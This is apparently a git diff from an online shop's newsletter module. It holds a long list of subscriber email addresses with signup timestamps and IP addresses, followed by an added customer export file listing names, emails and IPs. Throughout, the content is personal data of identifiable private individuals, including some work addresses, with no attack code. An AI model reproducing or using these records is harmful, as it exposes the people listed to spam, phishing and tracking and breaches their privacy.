13:06:36;109.1.100.12 +15280;giselemorand@neuf.fr;2015-11-03 13:30:24;78.116.159.41 +15281;aurelie.daros@gmail.com;2015-11-03 13:33:30;78.232.9.135 +15282;ptitpitchou@hotmail.com;2015-11-03 13:48:47;2.6.153.154 +15283;lylyg13012@gmail.com;2015-11-03 13:53:01;88.173.184.36 +15284;farmotte@orange.fr;2015-11-03 13:54:20;185.8.254.38 +15285;muryele@free.fr;2015-11-03 13:59:28;82.241.219.23 +15286;maiaevacarole@gmail.com;2015-11-03 14:23:34;78.207.201.26 +15287;mel.houssin@gmail.com;2015-11-03 14:53:09;213.163.191.234 +15288;alexandra.buyze@telenet.be;2015-11-03 15:10:25;94.224.220.246 +15289;collado.noelia@gmail.com;2015-11-03 15:17:42;90.44.14.103 +15290;f.clerc34@laposte.net;2015-11-03 15:36:25;82.236.238.25 +15291;veroniquerose83@yahoo.com;2015-11-03 15:58:04;83.205.196.56 +15292;elisabeth.guitard0598@orange.fr;2015-11-03 16:22:48;92.128.90.34 +15293;christine.pc@orange.fr;2015-11-03 16:22:51;92.140.121.240 +15294;vyvre@laposte.net;2015-11-03 16:25:27;109.6.106.4 +15295;feeclochette68@hotmail.com;2015-11-03 16:46:41;78.120.229.52 +15296;c.havrylenko@laposte.net;2015-11-03 17:08:45;77.203.93.82 +15297;sybille.net@orange.fr;2015-11-03 17:20:17;86.207.128.197 +15298;odhap@orange.fr;2015-11-03 17:57:36;86.203.27.216 +15299;veronique.lentieul@orange.fr;2015-11-03 18:07:16;86.198.115.69 +15300;v.lemorlec@gmail.com;2015-11-03 18:14:00;109.190.40.214 +15301;sabrinalenf@gmail.com;2015-11-03 18:14:09;88.122.203.131 +15302;thyssen.peeters@skynet.be;2015-11-03 18:49:52;109.130.197.197 +15303;cousson.j@gmail.com;2015-11-03 19:25:17;82.230.195.7 +15304;flt35@wanadoo.fr;2015-11-03 19:35:24;92.139.90.76 +15305;cpicamiglio@yahoo.com;2015-11-03 19:43:40;77.146.36.18 +15306;cecile.dufaure@gmail.com;2015-11-03 19:45:04;109.222.135.210 +15307;theresebiard@yahoo.fr;2015-11-03 19:54:33;77.195.107.228 +15308;anne.leseach@free.Fr;2015-11-03 20:14:42;87.88.130.44 +15309;carole.barrat@gmail.com;2015-11-03 20:23:43;83.112.134.71 +15310;agathe.odoux@gmail.com;2015-11-03 20:27:12;82.226.205.19 +15311;lutoxx07@gmail.com;2015-11-03 20:34:12;93.26.19.17 +15312;christine.bove@hotmail.fr;2015-11-03 20:35:14;88.137.78.2 +15313;flox01@hotmail.fr;2015-11-03 21:10:20;83.205.38.96 +15314;le-toullec.yvon@wanadoo.fr;2015-11-03 21:22:20;86.214.174.12 +15315;linnie9696@aol.com;2015-11-03 21:32:04;69.114.18.204 +15316;67410Cindrich@hotmail.com;2015-11-03 21:58:49;46.246.40.165 +15317;agnes-noel@wanadoo.fr;2015-11-03 22:35:31;81.48.152.235 +15318;fanfan.61@orange.fr;2015-11-04 00:23:30;81.48.150.80 +15319;july.garay@sfr.fr;2015-11-04 00:59:12;78.112.65.251 +15320;gallyfreelance@gmail.com;2015-11-04 01:10:29;82.243.203.18 +15321;magalie.viranin@gmail.com;2015-11-04 05:56:53;93.121.181.222 +15322;claudine.tacquet@hotmail.fr;2015-11-04 08:17:11;93.20.140.69 +15323;valeriemargerard@orange.fr;2015-11-04 08:43:47;82.127.136.245 +15324;f.faucheux@orange.fr;2015-11-04 08:58:55;2.12.65.80 +15325;lecot.paulette@gmail.com;2015-11-04 09:16:07;77.149.150.2 +15326;laurencegbau@gmail.com;2015-11-04 09:19:19;212.234.66.106 +15327;theveninfamily@sfr.fr;2015-11-04 09:27:35;77.130.236.88 +15328;annick.flohre@gmail.com;2015-11-04 09:28:30;90.39.164.172 +15329;star.deberdt@orange.fr;2015-11-04 10:23:40;86.199.26.246 +15330;demont_veronique@yahoo.fr;2015-11-04 11:01:56;79.88.222.219 +15331;emma8143@hotmail.com;2015-11-04 11:03:05;90.24.241.85 +15332;christine.marca@free.fr;2015-11-04 11:33:14;193.51.226.33 +15333;vero59251@hotmail.fr;2015-11-04 11:56:12;2.5.53.196 +15334;paquira5@hotmail.com;2015-11-04 12:17:22;95.129.152.247 +15335;macalo62@orange.fr;2015-11-04 12:17:48;195.115.159.196 +15336;pcardine@cegetel.net;2015-11-04 12:18:06;77.197.236.90 +15337;douchez.valerie@orange.fr;2015-11-04 12:49:20;83.192.86.234 +15338;stephanmaurice@orange.fr;2015-11-04 12:53:56;90.59.165.141 +15339;aurelie.potard@laposte.net;2015-11-04 13:24:24;193.164.196.89 +15340;nathney@gmail.com;2015-11-04 13:45:20;81.252.227.249 +15341;marie.ceulemans@orange.fr;2015-11-04 13:52:40;86.204.202.119 +15342;patricia.quintard@orange.fr;2015-11-04 14:00:27;78.124.58.18 +15343;ockley19@free.fr;2015-11-04 14:18:15;78.207.141.64 +15344;famillecampus@yahoo.fr;2015-11-04 14:51:31;90.37.59.150 +15345;annie.dellacherie@orange.fr;2015-11-04 15:24:21;83.192.253.22 +15346;stephanie.lavigna71@orange.fr;2015-11-04 15:54:38;77.150.181.91 +15347;peggy_lacheray@yahoo.fr;2015-11-04 16:03:11;176.180.202.134 +15348;jessicaalain59600@gmail.com;2015-11-04 16:24:55;109.219.157.20 +15349;sophie@vezin.net;2015-11-04 16:31:39;84.99.209.31 +15350;cpagnacco@gmail.com;2015-11-04 16:50:48;176.146.129.242 +15351;stephaniej@live.fr;2015-11-04 16:53:26;46.218.233.196 +15352;christine.brement@hotmail.fr;2015-11-04 18:11:55;93.19.160.148 +15353;christine.martinbobber@gmail.com;2015-11-04 18:29:55;81.66.19.62 +15354;marybonny@orange.fr;2015-11-04 18:56:54;80.215.178.203 +15355;ygangate@gmail.com;2015-11-04 19:06:06;41.213.211.73 +15356;mp.graces@hotmail.com;2015-11-04 19:13:54;83.196.181.179 +15357;isa.barthoumieux@orange.fr;2015-11-04 19:32:16;86.213.228.106 +15358;isabelile.bellard@hotmail.fr;2015-11-04 20:17:35;89.157.129.116 +15359;la.libellule@orange.fr;2015-11-04 20:56:20;92.152.81.170 +15360;marie.hugaul@wanadoo.fr;2015-11-04 21:17:32;109.214.180.247 +15361;karen.margerard@orange.fr;2015-11-04 21:37:00;82.225.175.68 +15362;claude.sinchet@orange.fr;2015-11-04 22:20:59;92.149.58.69 +15363;bonnaly@gmail.com;2015-11-04 23:07:24;66.249.93.173 +15364;ebal6@hotmail.fr;2015-11-04 23:16:44;78.244.151.148 +15365;adeline.leduc65@gmail.com;2015-11-04 23:17:53;83.205.69.117 +15366;carolinepournin@hotmail.fr;2015-11-04 23:53:14;109.15.229.166 +15367;lucie.dubos1@free.fr;2015-11-05 08:25:49;82.237.169.157 +15368;lucie.trevelot@wanadoo.fr;2015-11-05 08:32:18;83.202.221.32 +15369;carolepierret@laposte.net;2015-11-05 09:06:23;84.97.99.166 +15370;romybouriquet@hotmail.fr;2015-11-05 09:08:01;88.166.118.137 +15371;lmoisset@yahoo.fr;2015-11-05 09:22:56;82.243.224.194 +15372;aba68@wanadoo.fr;2015-11-05 09:47:55;109.221.54.57 +15373;joc_daher@hotmail.com;2015-11-05 11:16:22;92.62.170.55 +15374;pharmaxx@hotmail.fr;2015-11-05 12:45:41;90.37.245.31 +15375;credisere@yahoo.fr;2015-11-05 12:55:34;176.188.100.113 +15376;choullier@atos-racks.com;2015-11-05 13:02:49;195.25.110.43 +15377;manuelamonteiro75@yahoo.fr;2015-11-05 13:11:11;86.195.10.228 +15378;marylenecournilloux2@hotmail.fr;2015-11-05 13:14:39;78.209.42.174 +15379;laurence.salzard@wanadoo.fr;2015-11-05 13:47:02;86.223.213.151 +15380;tiouioui@free.fr;2015-11-05 13:56:03;88.167.254.25 +15381;claudine.nottet@skynet.be;2015-11-05 14:00:12;81.245.105.174 +15382;annehass@hotmail.fr;2015-11-05 14:19:55;62.241.102.57 +15383;julia.hemmig@gmail.com;2015-11-05 15:03:05;86.223.177.17 +15384;alexandra.callait@gmail.com;2015-11-05 15:03:14;86.67.122.64 +15385;florence.leclercq@yahoo.fr;2015-11-05 15:29:46;62.23.231.20 +15386;mathildelemonnier@gmx.fr;2015-11-05 15:36:08;82.233.50.14 +15387;karine.gambier@laposte.net;2015-11-05 15:48:31;82.238.63.129 +15388;hypercuisines01@wanadoo.fr;2015-11-05 16:07:57;90.29.76.87 +15389;bnd83@live.fr;2015-11-05 16:09:36;82.245.228.17 +15390;paulinebriere.rault@gmail.com;2015-11-05 16:31:54;81.53.225.119 +15391;sylvie.lanta@sfr.fr;2015-11-05 17:00:32;82.151.15.143 +15392;catherine.bourbotte@wanadoo.fr;2015-11-05 17:19:19;213.245.141.222 +15393;juliet18@orange.fr;2015-11-05 17:57:03;90.40.209.209 +15394;bruno.bigneau@sfr.fr;2015-11-05 18:37:22;92.93.55.10 +15395;crazybun@free.fr;2015-11-05 18:38:17;80.13.151.4 +15396;k.mis@free.fr;2015-11-05 18:41:46;78.234.181.51 +15397;lla88@hotmail.fr;2015-11-05 18:58:39;77.128.74.95 +15398;colouna@orange.fr;2015-11-05 20:19:58;86.199.68.97 +15399;antoinette.marisi@hotmail.fr;2015-11-05 21:02:52;93.15.13.25 +15400;r.marilyne01@orange.fr;2015-11-05 21:11:24;88.164.36.141 +15401;denat.emmanuelle@orange.fr;2015-11-05 21:17:15;86.214.139.234 +15402;sandrine.hillenbrand@yahoo.fr;2015-11-05 21:36:33;90.48.213.150 +15403;lafonvero@orange.fr;2015-11-05 21:59:41;83.200.10.154 +15404;GladysLallouette@outlook.fr;2015-11-05 22:12:57;90.1.214.136 +15405;camille.willemet.w@gmail.com;2015-11-05 22:15:31;82.124.1.45 +15406;viviane.colson@orange.fr;2015-11-05 23:27:52;83.196.230.28 +15407;jan-marine@orange.fr;2015-11-05 23:43:10;92.140.89.241 +15408;wendy.97420@hotmail.fr;2015-11-06 07:14:09;81.248.205.161 +15409;marie.rataud@gmail.com;2015-11-06 07:32:10;90.12.145.24 +15410;renee.gatel@free.fr;2015-11-06 08:55:37;92.147.177.154 +15411;lereveenfantin@hotmail.fr;2015-11-06 08:58:53;83.200.25.231 +15412;nicole.oswalt@orange.fr;2015-11-06 09:20:05;90.39.137.71 +15413;pintoceline@live.fr;2015-11-06 09:41:52;78.227.56.179 +15414;josye.barra@sfr.fr;2015-11-06 09:51:44;88.136.103.229 +15415;stephanie.poulet20@sfr.fr;2015-11-06 09:58:38;78.219.173.96 +15416;clc.eckerl@gmail.fr;2015-11-06 10:19:29;82.120.110.168 +15417;frogs31@hotmail.fr;2015-11-06 11:05:49;89.225.204.46 +15418;blatier@dbmail.com;2015-11-06 12:29:17;84.96.36.195 +15419;memof@live.fr;2015-11-06 12:30:49;109.13.102.195 +15420;magguy.compper@outlook.com;2015-11-06 13:10:56;134.157.144.64 +15421;mautaurand@aol.com;2015-11-06 14:20:30;77.199.237.249 +15422;florence.maire@ac-nancy-metz.fr;2015-11-06 14:28:50;193.50.175.32 +15423;ilham.benarouia@hotmail.fr;2015-11-06 14:44:24;109.29.24.221 +15424;lucet.lebon@sfr.fr;2015-11-06 14:44:40;89.170.173.100 +15425;tikatie@gmail.Com;2015-11-06 14:56:25;62.23.157.194 +15426;vincent.patrick9@wanadoo.fr;2015-11-06 15:57:06;80.14.68.78 +15427;mimift98@hotmail.com;2015-11-06 16:44:06;82.127.12.101 +15428;e.sturne@free.fr;2015-11-06 18:13:52;78.249.196.45 +15429;madekkiche@laposte.net;2015-11-06 18:44:58;86.69.77.214 +15430;lilianeschmitt2011@hotmail.fr;2015-11-06 19:40:48;90.39.137.247 +15431;celinevalerie@orange.fr;2015-11-06 20:19:08;90.13.215.61 +15432;krystel.brico@gmail.com;2015-11-06 20:25:50;90.1.116.238 +15433;cornflakegirl82@hotmail.com;2015-11-06 20:35:58;81.57.230.119 +15434;salsanomartine64@gmail.com;2015-11-06 20:46:18;86.219.71.123 +15435;jga17@orange.fr;2015-11-06 20:48:11;92.146.126.223 +15436;benedetta.rivoal@gmail.com;2015-11-06 21:11:41;109.21.42.3 +15437;sunnywangyizhen@hotmail.com;2015-11-06 21:24:24;46.193.129.15 +15438;carole.sanchez@bbox.fr;2015-11-06 21:27:28;176.181.57.123 +15439;monique.braun.orschwihr@orange.fr;2015-11-06 21:32:33;90.39.163.30 +15440;s.korzekwa@yahoo.fr;2015-11-06 21:35:55;31.32.88.219 +15441;poisson7702@hotmail.fr;2015-11-06 21:50:32;82.235.8.177 +15442;veronique.gros@numericable.fr;2015-11-06 22:31:10;82.122.113.229 +15443;nathalie.danoffre@alloga.fr;2015-11-06 22:54:27;86.195.86.63 +15444;laure.hoarau@hotmail.fr;2015-11-06 23:04:27;83.152.35.103 +15445;nadianewlife@hotmail.fr;2015-11-06 23:11:18;92.131.207.48 +15446;subway_road@hotmail.fr;2015-11-06 23:18:13;93.11.54.174 +15447;mfv.art@gmail.com;2015-11-07 00:01:13;176.128.83.172 +15448;ssoisic@yahoo.fr;2015-11-07 02:46:50;78.194.146.67 +15449;isagdl@orange.fr;2015-11-07 06:10:15;92.146.133.209 +15450;nathalie.aelbrecht@hotmail.fr;2015-11-07 08:22:36;90.58.102.237 +15451;veronique.pee@gmx.fr;2015-11-07 09:39:37;83.157.177.148 +15452;ticia1961@hotmail.fr;2015-11-07 10:09:38;89.3.131.175 +15453;marylinaubry@gmail.com;2015-11-07 10:13:20;90.48.245.164 +15454;desvignesalex@hotmail.com;2015-11-07 10:22:02;90.10.3.166 +15455;anelor03@hotmail.fr;2015-11-07 10:31:50;77.200.198.152 +15456;millietevelyne@netplus.ch;2015-11-07 10:46:06;37.0.63.226 +15457;adeiudicibus@orange.fr;2015-11-07 11:01:02;78.239.241.239 +15458;al-titoun@aliceadsl.fr;2015-11-07 11:41:15;91.68.147.128 +15459;aurelie.thiriez@gmail.com;2015-11-07 12:09:14;78.112.129.239 +15460;lefichant.sarah@gmail.com;2015-11-07 12:36:52;88.173.50.101 +15461;macaronjasmin@hotmail.fr;2015-11-07 13:39:44;88.121.195.30 +15462;marianne38@orange.fr;2015-11-07 15:13:37;86.221.207.109 +15463;charlotte-n@orange.fr;2015-11-07 16:54:17;81.48.144.229 +15464;catherine.azera@free.fr;2015-11-07 16:57:28;92.146.22.183 +15465;cambeleve@wanadoo.fr;2015-11-07 17:03:16;86.221.81.176 +15466;achauvy@laposte.net;2015-11-07 17:56:34;90.19.248.237 +15467;charbonel.daniele@gmail.com;2015-11-07 18:28:27;77.144.71.46 +15468;nane37@orange.fr;2015-11-07 18:37:28;90.19.113.142 +15469;cathy.lepage@protecthoms.com;2015-11-07 18:52:58;77.130.19.175 +15470;celine_brunel@yahoo.fr;2015-11-07 19:10:01;86.202.236.38 +15471;ds.sam@free.fr;2015-11-07 19:21:50;78.235.153.71 +15472;beatrice.martorell@neuf.fr;2015-11-07 19:31:29;79.93.102.230 +15473;sylviemarsat@aol.com;2015-11-07 20:43:44;109.25.136.78 +15474;severine.immobilier@gmail.com;2015-11-07 21:53:57;88.181.87.26 +15475;n.marsura@orange.fr;2015-11-07 21:54:06;90.62.232.63 +15476;sabine.amiard@laposte.net;2015-11-07 22:11:25;90.38.172.14 +15477;pat.arg@laposte.net;2015-11-07 22:29:25;86.72.162.115 +15478;nathalie.cuenca@orange.fr;2015-11-07 22:31:24;91.68.172.153 +15479;freddy.bel@cityplay.fr;2015-11-07 22:33:23;62.64.45.49 +15480;johannewaucampt@gmail.com;2015-11-07 22:59:14;86.75.71.41 +15481;cabrol.pauline@hotmail.fr;2015-11-08 00:25:48;77.146.196.98 +15482;hzx1113@hotmail.com;2015-11-08 00:32:53;82.236.177.119 +15483;charlette.cot@wanadoo.fr;2015-11-08 01:54:17;86.217.21.61 +15484;c.flament1944@laposte.net;2015-11-08 07:58:32;90.1.183.236 +15485;estelle-lallemand@wanadoo.fr;2015-11-08 08:03:02;82.235.94.125 +15486;puyol.sabrina@gmail.com;2015-11-08 08:20:28;109.222.87.94 +15487;co.payet@gmail.com;2015-11-08 09:12:52;77.84.121.248 +15488;pierre.joubioux@orange.fr;2015-11-08 09:15:32;86.214.213.129 +15489;valerie@jorion.be;2015-11-08 09:34:13;81.245.26.96 +15490;clemrethore@yahoo.fr;2015-11-08 09:37:06;81.56.106.183 +15491;mjct83@gmail.com;2015-11-08 10:24:42;78.112.181.18 +15492;pharmacie.haignere@wanadoo0.fr;2015-11-08 10:40:51;92.131.23.31 +15493;virginie.juvigny@freesbee.fr;2015-11-08 10:48:51;78.214.156.26 +15494;elodie.goffin@live.fr;2015-11-08 10:55:21;82.230.139.110 +15495;michel.angulo@orange.fr;2015-11-08 11:07:22;92.133.142.70 +15496;nathalieferrier@sfr.fr;2015-11-08 11:18:52;84.102.148.142 +15497;melromcp@free.fr;2015-11-08 11:26:21;82.232.116.44 +15498;andree.bruffaert@yahoo.fr;2015-11-08 11:33:57;109.213.125.73 +15499;myriam.pelloux@orange.fr;2015-11-08 11:34:46;82.120.214.200 +15500;annahbel@hotmail.com;2015-11-08 11:46:10;90.13.145.200 +15501;mireille.kergourlay@icloud.com;2015-11-08 11:57:52;2.10.90.30 +15502;jfaucon49@orange.fr;2015-11-08 12:48:30;86.217.78.227 +15503;aurelieroux81@gmail.com;2015-11-08 13:23:21;86.199.239.67 +15504;virgiek41@outlook.fr;2015-11-08 13:37:26;90.24.73.25 +15505;mpkl@free.fr;2015-11-08 13:45:16;78.230.220.171 +15506;naniep@hotmail.com;2015-11-08 13:53:43;77.200.164.166 +15507;lilou6391@hotmail.fr;2015-11-08 13:56:02;86.216.214.197 +15508;sybil.petrop@gmail.com;2015-11-08 14:58:57;88.162.6.185 +15509;christine.henon@orange.fr;2015-11-08 14:59:09;83.194.90.23 +15510;lydie.veyssiere@yahoo.fr;2015-11-08 15:19:03;109.215.224.147 +15511;graphy2@hotmail.fr;2015-11-08 15:23:14;90.39.10.118 +15512;rose-fleur@hotmail.fr;2015-11-08 15:23:37;128.79.185.138 +15513;fra.pineau@laposte.net;2015-11-08 15:38:33;90.19.58.31 +15514;catpic1@yahoo.fr;2015-11-08 15:48:09;88.185.245.122 +15515;ge.gailleres@orange.fr;2015-11-08 16:06:18;109.214.12.209 +15516;c_chantec@hotmail.com;2015-11-08 16:34:49;176.190.224.217 +15517;margot.adnet@gmail.ciom;2015-11-08 17:30:56;77.84.24.108 +15518;mayoux.florence@gmail.com;2015-11-08 17:33:30;78.200.49.4 +15519;lydieohresser88@gmail.com;2015-11-08 17:41:00;88.162.46.32 +15520;nadaubru11@yahoo.com;2015-11-08 18:42:33;80.12.39.183 +15521;laurence.le.mercier@cegetel.net;2015-11-08 18:45:00;93.19.127.248 +15522;ponceblanc-isabelle@bbox.fr;2015-11-08 19:19:14;176.144.255.24 +15523;a.christine.rolland@free.fr;2015-11-08 19:44:42;78.199.224.124 +15524;pommescannelle@orange.fr;2015-11-08 19:53:55;90.45.204.39 +15525;celineprovent@hotmail.fr;2015-11-08 20:00:00;90.42.169.7 +15526;alex45@sfr.fr;2015-11-08 21:19:24;84.97.217.84 +15527;nathalie.lasnet@free.fr;2015-11-08 21:28:08;88.171.199.206 +15528;sandra.roze@free.fr;2015-11-08 21:38:49;78.218.108.155 +15529;benjamin.dspnt@gmail.com;2015-11-08 21:39:43;178.196.233.171 +15530;sabineliber@gmail.com;2015-11-08 21:52:13;88.167.231.241 +15531;caroline.vouillot@laposte.net;2015-11-08 21:54:28;62.129.184.169 +15532;i.monange@laposte.net;2015-11-08 22:16:02;194.8.148.2 +15533;mpdemarthon@nordnet.fr;2015-11-08 22:18:19;178.73.135.42 +15534;joal.leveque@orange.fr;2015-11-08 22:19:32;86.196.203.210 +15535;vbelinteni@gmail.com;2015-11-08 23:09:03;179.159.27.103 +15536;c.faure@portailpro.net;2015-11-08 23:10:00;88.187.18.213 +15537;jeannine.heitzmann@sfr.fr;2015-11-08 23:32:02;84.7.49.166 +15538;e-richez@orange.fr;2015-11-09 07:12:51;82.120.101.178 +15539;giomattchris04@gmail.com;2015-11-09 08:39:58;91.91.218.140 +15540;mariedebourgogne@aol.com;2015-11-09 08:42:27;82.252.240.206 +15541;lescoquelle@aol.com;2015-11-09 09:05:32;86.70.196.197 +15542;colyoub@gmail.com;2015-11-09 10:28:58;78.245.29.248 +15543;marjo_peggy28@msn.com;2015-11-09 11:26:56;91.180.202.149 +15544;glousser@hotmail.com;2015-11-09 11:42:40;82.255.239.128 +15545;christiane.tantolin@gmail.com;2015-11-09 12:04:00;212.129.62.128 +15546;flocamono@orange.fr;2015-11-09 12:34:46;81.50.197.147 +15547;k.arata@yahoo.fr;2015-11-09 12:35:10;109.7.96.34 +15548;manon.dhautefeuille@gmail.com;2015-11-09 12:41:49;37.210.145.127 +15549;plaisirdsens@live.fr;2015-11-09 12:45:47;86.202.219.47 +15550;labas.marie@gmail.com;2015-11-09 12:47:04;92.138.173.147 +15551;marchionigraziella@gmail.com;2015-11-09 12:57:32;95.236.146.109 +15552;lucilegagnaux@gmail.com;2015-11-09 13:02:47;86.75.39.31 +15553;monstre-plante@live.fr;2015-11-09 13:13:55;176.151.17.156 +15554;senac@irit.fr;2015-11-09 13:34:29;141.115.36.65 +15555;aiyosil@gmail.com;2015-11-09 13:45:05;82.229.197.86 +15556;gaelle.rossi@gmail.com;2015-11-09 14:08:55;78.6.153.16 +15557;severinethihy@free.fr;2015-11-09 14:17:58;109.6.183.21 +15558;fanou430@gmail.com;2015-11-09 15:02:24;90.85.196.185 +15559;sandrine.lagadec@sfr.fr;2015-11-09 15:15:55;78.123.94.223 +15560;taligot.maryline@hotmail.fr;2015-11-09 15:47:40;86.215.199.180 +15561;isabelle.rey07@yahoo.fr;2015-11-09 16:09:01;90.29.82.34 +15562;eyeshining666@hotmail.com;2015-11-09 16:09:10;80.9.206.132 +15563;kelly25-5@hotmail.fr;2015-11-09 16:13:50;62.202.55.46 +15565;jarmaprochazkova@seznam.cz;2015-11-09 17:15:50;194.228.11.103 +15566;mericussotto@gmail.com;2015-11-09 18:03:48;5.170.28.54 +15567;brzustowicz.laura@gmail.com;2015-11-09 18:04:35;88.172.94.187 +15568;magali005@orange.fr;2015-11-09 18:15:59;88.176.61.199 +15569;marie-ange.bourgeois2@wanadoo.fr;2015-11-09 18:18:08;90.23.246.4 +15570;lauraweber67@gmail.com;2015-11-09 18:20:50;90.45.234.3 +15571;jacqueline.monfort@free.fr;2015-11-09 20:27:36;88.168.225.113 +15572;frederiquedidailler@yahoo.fr;2015-11-09 20:44:39;31.36.153.238 +15573;isabelle.gouvernaire@bbox.fr;2015-11-09 21:12:05;213.44.23.238 +15574;d-sparks@hotmail.fr;2015-11-09 21:49:08;92.147.60.244 +15575;valerie.kerpierre@hotmail.fr;2015-11-09 21:54:56;83.199.90.210 +15576;marie.streck@hotmail.fr;2015-11-09 22:07:19;81.243.136.210 +15577;julyerell@gmail.com;2015-11-09 22:29:03;79.85.141.6 +15578;chantalseurot@live.fr;2015-11-09 22:37:10;109.16.214.70 +15579;r.debeugny@laposte.net;2015-11-09 22:47:44;92.154.157.29 +15580;937223890@qq.com;2015-11-09 23:13:37;78.211.112.110 +15581;marine.armanet@gmail.com;2015-11-10 02:09:23;90.29.244.42 +15582;lysiane.gelineau@sfr.fr;2015-11-10 07:05:46;77.199.235.169 +15583;cord2d2@sfr.fr;2015-11-10 08:23:33;109.23.9.237 +15584;mtiteca@orange.fr;2015-11-10 08:24:59;90.47.233.96 +15585;lancesseurveronique@wanadoo.fr;2015-11-10 08:57:37;86.199.51.211 +15586;polypocket_7@hotmail.com;2015-11-10 09:34:07;86.70.225.84 +15587;myriam.treve@gmail.com;2015-11-10 09:38:08;81.240.230.69 +15588;marieheinkele@yahoo.fr;2015-11-10 09:45:38;217.128.5.104 +15589;rima_k@hotmail.fr;2015-11-10 09:59:43;86.218.228.88 +15590;sylvie.bosc5@gmail.com;2015-11-10 10:17:13;90.30.156.180 +15591;satinanne@gmail.com;2015-11-10 10:37:20;86.204.70.240 +15592;nat_ch@hotmail.fr;2015-11-10 10:46:51;212.157.17.218 +15593;gaconbrunomartine@orange.fr;2015-11-10 11:06:26;80.215.210.101 +15594;mylene.gestin@gmail.com;2015-11-10 11:40:59;82.244.137.186 +15595;paret.margaux@gmail.com;2015-11-10 12:02:26;90.41.188.115 +15596;institutbio.beautedumonde@gmail.com;2015-11-10 12:16:34;81.251.138.193 +15597;julieguinel@gmail.com;2015-11-10 12:25:27;2.10.207.89 +15598;chrystelle.chaton@orange.fr;2015-11-10 12:42:15;90.56.162.3 +15599;sophie.oceane@sfr.fr;2015-11-10 13:04:53;77.203.6.241 +15600;chicalili15@hotmail.fr;2015-11-10 13:13:12;90.37.54.166 +15601;nelly.gregoriadis@live.fr;2015-11-10 13:51:24;93.26.250.2 +15602;severine.mathieu@univ-lorraine.fr;2015-11-10 14:07:41;193.54.93.93 +15603;thomasaude58@yahoo.fr;2015-11-10 15:02:20;109.26.156.6 +15604;c-allibert@garancia-beauty.com;2015-11-10 15:03:51;81.57.119.171 +15605;clementine@test.com;2015-11-10 15:07:13;81.57.119.171 diff --git a/modules/newsletter/customers_export_15549138721246765750.csv b/modules/newsletter/customers_export_15549138721246765750.csv new file mode 100755 index 0000000..e407667 --- /dev/null +++ b/modules/newsletter/customers_export_15549138721246765750.csv @@ -0,0 +1,84 @@ +id_customer;lastname;firstname;email;ip_address;newsletter_date_add +16;CHADELAS;Agathe;a-chadelas@garancia-beauty.com;81.57.119.171;2013-07-24 18:16:34 +17;Laville;Agathe;a-laville@garancia-beauty.com;81.57.119.171;2013-07-25 16:26:36 +49;CHELLIN;Anais;anais.chellin@hotmail.fr;88.172.66.240;2013-08-19 17:32:58 +39;Colliard;Anne;annecolliard@yahoo.fr;178.193.144.210;2013-08-16 16:08:05 +79;Dellienne;Annelore;annelorede@gmail.com;83.192.87.6;2013-09-01 19:48:13 +75;muller;annie;anniepatch@free.fr;;0000-00-00 00:00:00 +47;COLLOT;ANTOINE;antoinecollot@hotmail.fr;;0000-00-00 00:00:00 +48;Cammarata;Astrid;astrid.bichon@yahoo.fr;;0000-00-00 00:00:00 +24;BAGHLI;Vanessa;baghlivanessa@yahoo.fr;;0000-00-00 00:00:00 +34;Fuselier;christiane;bcfuselier@orange.fr;;0000-00-00 00:00:00 +52;battesti;beatrice;beatabattesti@orange.fr;90.8.43.127;2013-08-21 13:49:29 +28;Artigue;Beatrice;beatrice.artigue@orange.fr;86.199.216.152;2013-08-11 21:20:16 +71;CUSCHIERI;Béatrice;beatricecuschieri@yahoo.fr;86.208.158.131;2013-08-28 12:14:30 +72;Bel;Anais;belanaisdoc@hotmail.fr;84.98.194.236;2013-08-28 13:16:09 +45;duquenoy;bernadette;bernadette-duquenoy@orange.fr;;0000-00-00 00:00:00 +32;Pernot;Béatrice;bettypernot@hotmail.com;;0000-00-00 00:00:00 +69;boisleve;Jeremy;boisleve.jeremy@hotmail.fr;;0000-00-00 00:00:00 +9;Boix;Christophe;boix.christophe@hotmail.fr;;0000-00-00 00:00:00 +6;Allibert;Clémentine ;c-allibert@garancia-beauty.com;;2013-07-02 11:32:53 +78;Chamarty;Cathy;c.chamarty@actes-sud.fr;84.97.130.72;2013-09-01 19:02:42 +18;DESVEAUD;Céline;c.desveaud@gmail.com;81.57.119.171;2013-07-26 10:30:56 +55;augey;caroline;caroline.augey@hotmail.fr;;0000-00-00 00:00:00 +15;testcastor;castortest;castoretpollux@castoretpollux.com;;0000-00-00 00:00:00 +41;Heymann;Lucette;Cecile.gabay@me.com;;0000-00-00 00:00:00 +11;CHADELAS;Agathe;chadelas.agathe@gmail.com;81.57.119.171;2013-07-12 15:33:52 +58;Chartier;Charlotte;Char-lo-te@hotmail.fr;;0000-00-00 00:00:00 +77;cherik;mathilde;cherik@voila.fr;;0000-00-00 00:00:00 +62;defoin;christelle;christelle-poulain@bbox.fr;31.37.80.8;2013-08-25 09:50:43 +31;MALET;Delphine;delphine.malet@ac-amiens.fr;86.211.175.55;2013-08-13 16:32:38 +38;Bregand;sylvie;denis.bregand963@orange.fr;92.130.56.125;2013-08-16 10:59:47 +23;Loucheux;Doriane;dorianebuisson@hotmail.fr;;0000-00-00 00:00:00 +76;douce;véronique;doucev@mail.com;;0000-00-00 00:00:00 +22;JOST;CLAUDINE;doudouch60@hotmail.fr;88.169.74.43;2013-08-08 09:45:08 +42;Bossoreil;Laura;Duff.lo@hotmail.fr;90.12.137.12;2013-08-17 20:01:35 +7;Dureau;Chloé;dureau@cegetel.net;81.57.119.171;2013-07-02 11:46:49 +57;QUEVA;ELODIE;ELOQUEVA@HOTMAIL.COM;82.127.223.157;2013-08-24 12:44:09 +73;HERNANDEZ;Emmanuelle;emmanuellevr@hotmail.fr;;0000-00-00 00:00:00 +36;thibaud grognet;valerie;ets-thibaud@hotmail.fr;;0000-00-00 00:00:00 +59;Bergman;Josephine;evajosephine@hotmail.com;83.248.221.158;2013-08-24 14:35:12 +81;Dalby;Florence;f.dalby@sacarre.com;;0000-00-00 00:00:00 +29;Febo;Fiorella;fiorella-febo@skynet.be;;0000-00-00 00:00:00 +21;fontaine;paulette;fonpaulet@free.fr;88.183.192.58;2013-08-07 19:43:29 +65;garell;evelyne;garell.jean-jacques@orange.fr;92.162.26.161;2013-08-26 17:24:30 +46;lecomte;geraldine;geraldine.lecomte-denizet@orange.fr;;0000-00-00 00:00:00 +43;BITON;INNA;innabitonfr@yahoo.fr;;0000-00-00 00:00:00 +74;ROGEL;isabelle;isabelle.rogel@wanadoo.fr;;0000-00-00 00:00:00 +33;coljé;julie;julie@colje.fr;109.208.59.63;2013-08-14 11:16:30 +10;COCQUEREL;Julien;julien@castoretpollux.com;80.14.226.55;2013-07-12 12:22:43 